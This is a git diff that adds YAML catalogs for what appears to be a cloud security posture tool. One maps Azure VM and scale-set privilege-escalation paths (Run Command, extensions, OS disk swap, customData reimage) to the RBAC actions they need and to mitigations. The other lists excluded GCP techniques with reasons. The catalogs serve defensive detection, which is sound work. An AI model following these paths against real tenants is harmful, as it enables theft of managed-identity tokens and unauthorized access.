b/src/privilege-escalation-paths-cspm-reviewed/azure/virtual_machines.yaml @@ -0,0 +1,433 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Virtual Machines privilege escalation techniques. +# Source: hacktricks-cloud az-virtual-machines-and-network-privesc.md (rev 171e422). +# Placeholder conventions: see catalog/azure/authorization.yaml header. +# All in-guest code execution reaches the identities exposed by IMDS: the VM's system-assigned +# identity and every user-assigned identity attached to it. + +- id: azure-vm-extensions-write + provider: azure + service: virtual_machines + title: Deploy or update a VM extension to run code in the guest + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesextensionswrite + source_revision: 3b8bc91615 + summary: Custom Script, DSC, VMAccess, Hybrid Worker or third-party (Salt, Chef) extensions give root/SYSTEM code execution in the VM and thus tokens of its managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/extensions/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_extension_execution_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent to process an executable extension. A stopped VM also requires start/action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Compute/virtualMachines/extensions/write (Virtual Machine Contributor, Contributor), use Azure Policy to allow-list extension publishers/types, and keep VM identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/extensions/features-windows + notes: The permission must cover a child extension of the same inventoried VM that carries the target identity. Known monitoring-only handlers do not imply code execution; unclassified existing handlers remain unresolved. VMAccess password/SSH-key reset may need extra CLI permissions. Scale-set model extensions are modelled separately in azure-vmss-model-write. + +- id: azure-vm-runcommand-action + provider: azure + service: virtual_machines + title: Invoke Run Command on a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandaction + source_revision: bc194cb834 + summary: Run Command executes scripts as root/SYSTEM through the VM agent, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/runCommand/action + scope: "{target.host_resource}" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_runcommand_action_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent; a stopped VM also requires start/action on that VM. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict runCommand/action (Virtual Machine Contributor, Contributor) and alert on Run Command usage. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machines/run-command?view=rest-compute-2026-04-01 + notes: The action is checked on the exact inventoried VM carrying the target identity. Agent health and script execution remain conditional. + +- id: azure-vm-managed-runcommands-write + provider: azure + service: virtual_machines + title: Create a managed Run Command child resource on a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 90afe8b1b3 + summary: Creating or replacing a managed Run Command can execute a supplied script as root/SYSTEM, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/runCommands/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_managed_runcommand_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: vm_agent_running + description: The VM must be running with a healthy VM agent; a stopped VM also requires start/action on that VM. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict runCommands/write and alert on managed Run Command creation. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + notes: The source must be able to write a Run Command child of the same inventoried VM that carries the target identity. The child resource persists after execution, but persistence alone does not establish automatic re-execution. + +- id: azure-vmss-vm-managed-runcommands-write + provider: azure + service: virtual_machines + title: Create a managed Run Command on a scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandswrite + source_revision: 2b502ade97 + summary: Managed Run Command on a Uniform scale-set instance can run as root/SYSTEM and expose identities assigned through that scale set. + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommands/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_vmss_instance_runcommand_path: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: An inventoried Uniform instance must run with a healthy VM agent. A stopped instance also requires start/action on that instance or its scale set. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict scale-set run command permissions and keep scale-set identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machine-scale-set-vm-run-commands/create-or-update?view=rest-compute-2026-03-02 + notes: The write grant must authorize a runCommands child of an inventoried instance in the same Uniform scale set that carries the identity. Flexible instance identities and missing instance inventory remain unresolved. AKS node pools backed by Uniform VMSS are included when permissions survive node-resource-group deny assignments. + +- id: azure-arc-machine-runcommands-write + provider: azure + service: virtual_machines + title: Create a Run Command on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce-via-arc-run-command + source_revision: 171e422 + summary: Run Command on an Arc-enabled server executes as root/SYSTEM and exposes the Arc machine's system-assigned identity. + requires: + all_of: + - action: Microsoft.HybridCompute/machines/runCommands/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_run_command_code_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: run_command_execution + description: The command must be accepted and run successfully by the connected agent. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Arc run command permissions and use agent-side extension allow-lists. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/run-command + notes: The selector requires an exact runCommands child write on the identity machine, connected agent v1.33 or later, running extension service, full enabled mode and local allow/block lists that permit the OS-specific Run Command handler. Root/SYSTEM can read the HIMDS challenge token. + +- id: azure-vm-gallery-application-install + provider: azure + service: virtual_machines + title: Add a malicious VM Application version to a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputegallerieswrite-microsoftcomputegalleriesapplicationswrite-microsoftcomputegalleriesapplicationsversionswrite-microsoftcomputevirtualmachineswrite + source_revision: 318a5e9c99 + summary: The install command of a gallery application version added to a VM runs in the guest, exposing the VM's managed identities. + requires: + all_of: + - action: Microsoft.Compute/galleries/applications/versions/write + scope: "*" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_gallery_application_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: gallery_app_exists_or_creatable + description: Needs an existing compatible gallery application or permissions to create a gallery and application. The version must be replicated to the VM region, its package source must be readable, and the VM agent must run the install command. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict gallery application version writes and virtualMachines/write; audit applicationProfile changes on VMs. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to + notes: The evaluator joins a writable application version to an inventoried VM carrying the identity. Existing applications, application creation in an existing gallery, and gallery creation in a known resource group are separate permission routes. A stopped VM also requires start/action. + +- id: azure-vm-create-with-user-assigned-identity + provider: azure + service: virtual_machines + title: Create a VM with an attached user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftresourcesdeploymentswrite-microsoftnetworkvirtualnetworkswrite-microsoftnetworknetworksecuritygroupswrite-microsoftnetworknetworksecuritygroupsjoinaction-microsoftnetworkpublicipaddresseswrite-microsoftnetworkpublicipaddressesjoinaction-microsoftnetworknetworkinterfaceswrite-microsoftcomputevirtualmachineswrite-microsoftnetworkvirtualnetworkssubnetsjoinaction-microsoftnetworknetworkinterfacesjoinaction-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: f96d849321 + summary: A newly created VM the source administers carries any user-assigned identity the source can assign, so its tokens become available from the guest. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_vm_create_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: guest_access_path + description: The source must reach the guest (public IP + NSG rule, which needs publicIPAddresses/write+join and networkSecurityGroups/write+join, or outbound-only custom data/cloud-init executed at provisioning). + - id: vnet_creation + description: Without an existing joinable subnet, virtualNetworks/write is also needed. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action to specific identities and deployment principals; use Azure Policy to restrict which identities can be attached to new compute. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + notes: The source must be able to create a VM in a known resource group and either join an inventoried unattached NIC with a subnet-linked IP configuration or create a NIC with join permission on an inventoried subnet. Microsoft.Resources/deployments/write is only needed when creating through an ARM/CLI deployment. + +- id: azure-vm-assign-user-assigned-identity-existing + provider: azure + service: virtual_machines + title: Attach a user-assigned identity to an existing VM the source can execute code on + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 73e3da7a24 + summary: Adding a user-assigned identity to a VM where the source already has code execution exposes that identity's tokens via IMDS. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_vm_assign_existing_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: guest_compromise_outside_rbac + description: HackTricks also covers the case where the VM is compromised by non-RBAC means (SSRF, existing shell); that case is not detectable from RBAC alone. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and virtualMachines/write; alert on identity changes on VMs. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + notes: The VM must be inventoried, writable and have a usable direct guest route on that same VM. Run Command, managed Run Command and extension child grants are checked at their exact scopes. Entra login needs the login extension and a system identity. A stopped VM requires start/action. Conditional indirect routes are modelled separately. + +- id: azure-vm-assign-user-assigned-identity-indirect-exec + provider: azure + service: virtual_machines + title: Attach a user-assigned identity to an existing VM and run code through an indirect guest route + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: e577627314 + summary: Adding a user-assigned identity to a VM and reaching the guest through customData re-provisioning, Serial Console, a VM Application, an OS disk swap or a guest configuration assignment exposes that identity's tokens via IMDS. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_vm_assign_indirect_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: route_prerequisites + description: Each route keeps the prerequisites of its own entry (azure-vm-customdata-reimage, azure-vm-serial-console-connect, azure-vm-gallery-application-install, azure-vm-os-disk-swap, azure-guestconfiguration-assignment-write), such as cloud-init re-provisioning, boot diagnostics and a guest recovery path, a gallery application in the VM's region, a compatible attacker disk, or the guest configuration extension. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and virtualMachines/write; alert on identity changes on VMs together with reimage, Serial Console, applicationProfile, OS disk and guest configuration changes. + references: + - https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-configure-managed-identities + - https://learn.microsoft.com/en-us/azure/virtual-machines/custom-data + - https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to + notes: Split from the direct code route. One inventoried VM must be writable; the indirect route must apply to that VM. Gallery routes need an inventoried application; disk routes need an inventoried disk in the VM region. Runtime execution remains conditional on route-specific prerequisites. + +- id: azure-vmss-vm-runcommand-action + provider: azure + service: virtual_machines + title: Invoke Run Command on a scale-set instance + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesruncommandaction + source_revision: 11c3fc201a + summary: Run Command on a Uniform scale-set instance executes as root/SYSTEM through the VM agent and exposes the scale set's managed identities. + requires: + all_of: + - action: Microsoft.Compute/virtualMachineScaleSets/virtualMachines/runCommand/action + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_vmss_instance_runcommand_action_path: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: vm_agent_running + description: An inventoried Uniform instance must run with a healthy VM agent. A stopped instance also requires start/action on that instance or its scale set; Flexible instances use the ordinary VM action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachineScaleSets/virtualMachines/runCommand/action (Virtual Machine Contributor, Contributor) and keep scale-set identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machine-scale-set-vms/run-command?view=rest-compute-2026-04-01 + notes: The action must authorize an inventoried instance of the same Uniform scale set that carries the identity. Flexible instances and missing instance inventory remain unresolved. AKS node pools backed by VMSS are reachable only when permissions survive the node-resource-group deny assignment. + +- id: azure-vm-os-disk-swap + provider: azure + service: virtual_machines + title: Swap a VM's OS disk for an attacker-prepared disk + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachineswrite-os-disk-swap + source_revision: e577627314 + summary: Replacing a VM's OS disk with one containing attacker-controlled code can expose its attached managed identities when the VM boots the replacement disk. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/write + scope: "*" + - action: Microsoft.Compute/disks/read + scope: "*" + - action: Microsoft.Compute/disks/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_os_disk_swap_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: attacker_disk_available + description: The source needs a managed disk whose content it controls (uploaded image or a modified copy of a snapshot), in the same region with a compatible OS, generation and security type. + - id: downtime_tolerated + description: The VM need not be deallocated for the swap, but the workload can be disrupted; a stopped VM needs start/action to boot the replacement disk. + - id: encryption_compatible + description: Disk encryption sets, confidential or Trusted Launch settings can prevent attaching a foreign disk. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachines/write and disk writes, alert on OS disk changes, and use resource locks on critical VMs. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/linux/os-disk-swap + - https://learn.microsoft.com/en-us/azure/virtual-machines/windows/os-disk-swap + notes: The evaluator joins VM write with an existing compatible disk or a disk the source can create in a known resource group. Disk content control and boot compatibility remain conditional; an attached disk or a known incompatible disk is excluded. Attaching a data disk is a separate data-access route. + +- id: azure-vmss-model-write + provider: azure + service: virtual_machines + title: Tamper with a scale-set model (extensions, custom data) to run code on instances + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinescalesetswrite-scale-set-model-tampering + source_revision: 24dfc65df0 + summary: Adding an extension to a scale-set model, once applied to instances, runs code as root/SYSTEM and exposes the scale set's managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Compute/virtualMachineScaleSets/write + scope: "*" + - - action: Microsoft.Compute/virtualMachineScaleSets/extensions/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachineScaleSets + azure_vmss_model_rollout_path: true + scope: inherited_scope + aggregate_as: "Managed identities of scale set {target.host_resource}" + conditions: + - id: model_rollout + description: A Uniform scale set model change reaches existing instances under automatic or rolling policy, or after manualUpgrade, reimage or reapply action on that scale set. Scale-set write can also change the upgrade policy or affect new instances. + - id: aks_node_pools + description: For AKS node pools the node resource group is normally protected by a deny assignment. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachineScaleSets/write and extensions/write, allow-list extensions with Azure Policy, and alert on scale-set model changes. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-upgrade-policy + - https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-orchestration-modes + - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute + notes: The documented rollout action is virtualMachineScaleSets/manualUpgrade/action on the scale set. Exact extension-child grants must join that scale set; known monitoring-only handlers are excluded and unknown handlers remain unresolved. Flexible orchestration instance identity effects remain unresolved. + +- id: azure-vm-customdata-reimage + provider: azure + service: virtual_machines + title: Supply customData while reimaging a VM + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#reimage-a-vm-with-new-customdata + source_revision: b9040926a9 + summary: A reimage request can supply customData to a Linux VM; if its provisioning agent runs the payload, code in the guest can obtain the VM's managed identity tokens. + requires: + all_of: + - action: Microsoft.Compute/virtualMachines/reimage/action + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Compute/virtualMachines + azure_vm_reimage_customdata_path: true + scope: inherited_scope + aggregate_as: "Managed identities of VM {target.host_resource}" + conditions: + - id: cloud_init_reprocesses_customdata + description: The Linux image must run cloud-init (or an equivalent agent) on reimage and process the request-body customData. Normal VM updates cannot change customData and redeploy does not supply a new payload. + - id: destructive + description: Reimage resets the OS disk, which is disruptive to the workload. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict virtualMachines/reimage/action and alert on reimage requests carrying customData. + references: + - https://learn.microsoft.com/en-us/azure/virtual-machines/custom-data + - https://learn.microsoft.com/en-us/rest/api/compute/virtual-machines/reimage?view=rest-compute-2026-04-01 diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml new file mode 100644 index 0000000000..82a2963292 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/_excluded.yaml @@ -0,0 +1,2704 @@ +# Excluded GCP source sections: no exact principal or new permission gain under current typed evidence contract. +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-workload-identity-federation-persistence.md#iamgoogleapiscomworkloadidentitypoolscreate--workloadidentitypoolproviderscreate--external-backdoor + technique: New workload identity pool and provider backdoor + reason: The path also requires iam.serviceAccounts.setIamPolicy on the target SA; that permission alone can grant the caller Token Creator or Workload Identity + User and is modeled by gcp-iam-serviceaccounts-setiampolicy. Pool/provider creation is a durable alternate credential mechanism, not an additional target. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-certificate-manager-post-exploitation.md#public-ca-publiccagoogleapiscom + technique: Public CA section introduction + reason: The heading names the Public CA endpoint and introduces the ACME account section; creating an ACME account is reviewed under its own heading and does not + grant a GCP IAM identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--scopescloud-platform-at-cluster-create--oauth-scope-amplification-of-a-stolen-node-token + technique: Dataproc cloud-platform scopes at cluster creation + reason: The same dataproc.clusters.create plus iam.serviceAccounts.actAs combination and chosen service-account target are modeled by gcp-dataproc-clusters-batches-create-actas; + its access_scopes condition covers the create-time cloud-platform flag. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataproc-privesc.md#--metadata-startup-script--ssh-keys-at-cluster-create--root-node-takeover-without-an-init-action + technique: Dataproc startup metadata at cluster creation + reason: The same dataproc.clusters.create plus iam.serviceAccounts.actAs combination and chosen service-account target are modeled by gcp-dataproc-clusters-batches-create-actas; + its cluster_code_path condition explicitly covers startup-script and ssh-keys metadata. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-config-delivery-privesc.md#config-delivery-configdeliverygoogleapiscom + technique: Config Delivery page introduction + reason: This heading names the service endpoint and introduces the feature; the manifest-publishing permission combination is modeled at its dedicated technique + anchor by gcp-configdelivery-fleetpackage-publish. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#actas-and-cross-project-attachment + technique: Cross-project service-account attachment overview + reason: The section describes iam.serviceAccounts.actAs plus a workload-create permission; the matching Compute, Cloud Run, Functions and other deployment entries + model those combinations, with the cross-project org-policy constraint recorded as a blocker. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/iam-and-service-account-impersonation-attacks.md#setiampolicy-backdoors-and-public--cross-domain-bindings + technique: Cross-domain IAM policy self-grant overview + reason: The section's project, folder, organization and service-account setIamPolicy self-grants are modeled by the resourcemanager and IAM setIamPolicy entries; + choosing an external member does not change the prerequisite permission or reached identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#public-exposure-without-an-allusers-binding----no-invoker-iam-check-drs-bypass + technique: Public exposure via invoker IAM check disable + reason: Exposes the service's existing functionality to the internet; no new identity for the source. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#plaintext-environment-disclosure-with-cloud-run-read-permissions + technique: Plaintext env disclosure via run get/list + reason: Pure data read (secrets in env values); not an identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#runjobsrun-alone-on-a-pre-existing-job--run-as-its-pinned-sa + technique: run.jobs.run alone on an existing job + reason: Executes only the job's existing image/args; the source cannot run its own code as the SA, so it does not obtain the SA's privileges (confused-deputy only). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md#local-privilege-escalation-in-gcp-compute-instance + technique: Local privesc inside a VM + reason: Requires prior code execution on the VM (host-level), covered by gcp-local-privilege-escalation-ssh-pivoting.md. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtasksqueuescreate--cloudtasksqueuesupdate--queue-level-urioverride-silent-traffic-hijack--token-attach + technique: Queue-level uriOverride hijack + reason: Traffic redirection plus OIDC token attach; actAs is re-enforced at enqueue (no amplification), OIDC tokens are audience-bound; covered by gcp-cloudtasks-tasks-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstaskscreate-app-engine-target--actas-free-app-engine-app-invocation + technique: App Engine tasks without actAs + reason: Reaches the app's handlers as a trusted request; no identity is obtained. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloudtaskstasksrun-cloudtaskstaskslist + technique: Run existing tasks + reason: Replays only existing tasks' predefined requests; the source cannot choose the request. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersget + technique: clusters.get / getCredentials + reason: Only obtains cluster access with the caller's own RBAC; no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsgetlogs + technique: Read pod logs + reason: Pure data read. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsattach + technique: Attach to running containers + reason: Depends on a pre-existing process accepting stdin; not a general identity edge. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsportforward + technique: Port-forward to pods + reason: Network pivot with no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerpodsproxy--containerservicesproxy + technique: Proxy to pods/services + reason: Network pivot with no new identity. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#containerclustersupdate--access-control--security-config-tamper + technique: clusters.update security tamper + reason: Guardrail/network weakening (authorized networks, BinAuthz, metadata mode); no new identity by itself. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehubgatewaygeneratecredentials--kubectl-via-connect-gateway-no-network-path + technique: Connect Gateway credentials + reason: Network reach only; in-cluster power is the caller's own RBAC. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#gkehub--fleet--connect-gateway + technique: Fleet section intro + reason: Section heading; techniques modelled under their own anchors. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#artifact-registry + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#batch + technique: Section intro + reason: Introductory heading; technique modelled as gcp-batch-jobs-create-actas. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#bigquery + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#cloud-deploy + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#container-breakout-via-docker-socket-container---vm---project + technique: Docker socket breakout + reason: Local escalation inside an already-accessible workstation; the VM identity is the config SA already covered by the workstation entries. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataplex-privesc.md#dataplex + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-infra-manager-privesc.md#infrastructure-manager + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-integration-connectors-privesc.md#integration-connectors + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#secure-source-manager + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#branch-protection--pr-review-bypass--slip-code-past-review + technique: Branch protection / PR review bypass + reason: Guardrail bypass enabling gcp-securesourcemanager-push-cicd; no identity by itself. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#source-repositories + technique: Section intro + reason: Introductory heading. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#apigee + technique: Section intro + reason: Introductory heading (runtime Message Processor SSRF pivot is documented on another page). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#vertex-ai + technique: Section intro + reason: Introductory heading (Agent Engine post-exploitation is documented elsewhere). +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apigee-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#app-engine + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-deploy-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloud-workstations-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#cloud-scheduler + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#cloud-tasks + technique: Page intro + reason: Service introduction heading; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md#references + technique: References section + reason: Reference list; no technique. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md#composer + technique: Page intro + reason: Service introduction heading; no technique. +- source: 